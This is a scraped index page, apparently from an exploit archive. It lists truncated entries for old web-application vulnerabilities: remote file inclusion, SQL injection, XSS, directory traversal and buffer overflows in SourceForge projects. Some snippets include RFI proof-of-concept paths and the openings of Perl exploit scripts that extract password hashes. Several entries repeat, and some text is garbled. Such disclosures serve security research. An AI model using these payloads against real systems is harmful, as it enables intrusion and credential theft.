Ajax File Browser 3b (settings.inc.php approot) RFI Vulnerability

Exploit for unknown platform in category web applications ================================================================= Ajax File Browser 3b settings.inc.php approot RFI Vulnerability ================================================================= Ajax File Browser 3 Beta Remote File...

phpFFL 1.24 - PHPFFL_FILE_ROOT Remote File Inclusion

phpFFL 1.24 - PHPFFLFILEROOT Remote File Inclusion Title : phpFFL 1.24 Remote File Inclusion Vulnerability Title : phpFFL 1.24 Remote File Inclusion Vulnerability Author : Dj7xpl Contact : [email protected] Dawnload : http://sourceforge.net/project/showfiles.php?groupid=137531 Gr33tZ : Y! Undergroun...

Netjuke 1.0-rc2 - sql injection & XSS

The Netjuke is a Web-Based Audio Streaming Jukebox powered by PHP 4, a database and all the MP3, Ogg Vorbis and other format files that constitute your digital music collection. Supports images, language packs, multi-level security, random playlists, etc http://sourceforge.net/projects/netjuke...

netjuke-sqlxss.txt

The Netjuke is a Web-Based Audio Streaming Jukebox powered by PHP 4, a database and all the MP3, Ogg Vorbis and other format files that constitute your digital music collection. Supports images, language packs, multi-level security, random playlists, etc http://sourceforge.net/projects/netjuke...

Txx CMS 0.2 Multiple Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ========================================================== Txx CMS 0.2 Multiple Remote File Inclusion Vulnerabilities ==========================================================...

Online Fantasy Football League (OFFL) 0.2.6 - Remote File Inclusion

Online Fantasy Football League OFFL 0.2.6 - Remote File Inclusion --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg...

weboddity-traverse.txt

Web Oddity Web Server 0.09b Directory Transversal Vulnerability Found by: Katatafish [email protected] Download: http://sourceforge.net/project/showfiles.php?groupid=13854 Thanks: str0ke use LWP::Simple; use strict; sub usage print "----------------------------------------------------- -...

Web Oddity Web Server 0.09b - Directory Traversal

Web Oddity Web Server 0.09b Directory Transversal Vulnerability Found by: Katatafish [email protected] Download: http://sourceforge.net/project/showfiles.php?groupid=13854 Thanks: str0ke use LWP::Simple; use strict; sub usage print "----------------------------------------------------- -...

Web Oddity Web Server 0.09b - Directory Traversal

Web Oddity Web Server 0.09b - Directory Traversal Web Oddity Web Server 0.09b Directory Transversal Vulnerability Found by: Katatafish [email protected] Download: http://sourceforge.net/project/showfiles.php?groupid=13854 Thanks: str0ke use LWP::Simple; use strict; sub usage print...

phpBG 0.9.1 (rootdir) Remote File Inclusion Vulnerabilities

No description provided by source. phpBG 0.9.1 rootdir Remote File Inclusion Vulnerability D.Script: http://phpbg.sourceforge.net/ POC: /intern/admin/other/backup.php?admin=1&rootdir=Shell /intern/admin/?rootdir=Shell /intern/clan/memberadd.php?rootdir=Shell /intern/config/key2.php?rootdir=Shell...

autoindexXSS.txt

Title : AutoIndex PHP Script searchmode Cross-Site Scripting Vulnerability Description : AutoIndex PHP Script is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. Software : http://autoindex.sourceforge.net/ Vuln. Version : = 2.2...

Streamripper 1.62.1 - Buffer Overflows

Streamripper 1.62.1 Security Advisory | http://streamripper.sf.net Multiple Buffer Overflows 12 August 2007 Chris Rohlf http://em386.blogspot.com ----------- Description ----------- Streamripper is a program used to rip streaming media to mp3 format to your harddrive. Multiple buffer overflows th...

FrontAccounting 1.12 Build 31 Remote File Inclusion Vulnerability

No description provided by source. ?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ?????????????????????????????????????...

envolution-sql.txt

!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /./ or err; print "\n + Username:Passwordmd5 member id = $usid \n"; print "\n $1 \n\n"; sub usage print "\n"; print " newhackdotorg \n"; print "\n"; print " Envolution = v1.1.0 Remote SQL Injection \n";...

lanai-sql.txt

newhackdotorg la-nai cmsv1.2.14 - Remote SQL Injection Vendor : http://www.redlinesoft.net/module.php?modname=content&cid=9 Download : http://sourceforge.net/project/showfiles.php?groupid=191629 Found By : k1tk4t - k1tk4t4tnewhack.org http://newhack.org Location : Indonesia bug terdapat pada la-n...

FrontAccounting 1.12 build 31 - Remote File Inclusion

?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ????????????????????????????????????? ???????????????????????????????????????...

FrontAccounting 1.12 Build 31 Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================= FrontAccounting 1.12 Build 31 Remote File Inclusion Vulnerability ================================================================= ?????????? ???????????????...

la-nai cms 1.2.14 Multiple Remote SQL Injection Vulnerabilities

No description provided by source. newhackdotorg la-nai cmsv1.2.14 - Remote SQL Injection Vendor : http://www.redlinesoft.net/module.php?modname=content&cid=9 Download : http://sourceforge.net/project/showfiles.php?groupid=191629 Found By : k1tk4t - k1tk4t4tnewhack.org http://newhack.org Location...

Envolution 1.1.0 - 'topic' SQL Injection

!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /./ or err; print "\n + Username:Passwordmd5 member id = $usid \n"; print "\n $1 \n\n"; sub usage print "\n"; print " newhackdotorg \n"; print "\n"; print " Envolution = v1.1.0 Remote SQL Injection \n";...

Envolution 1.1.0 - topic SQL Injection

Envolution 1.1.0 - topic SQL Injection !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /./ or err; print "\n + Username:Passwordmd5 member id = $usid \n"; print "\n $1 \n\n"; sub usage print "\n"; print " newhackdotorg \n"; print "\n"; print "...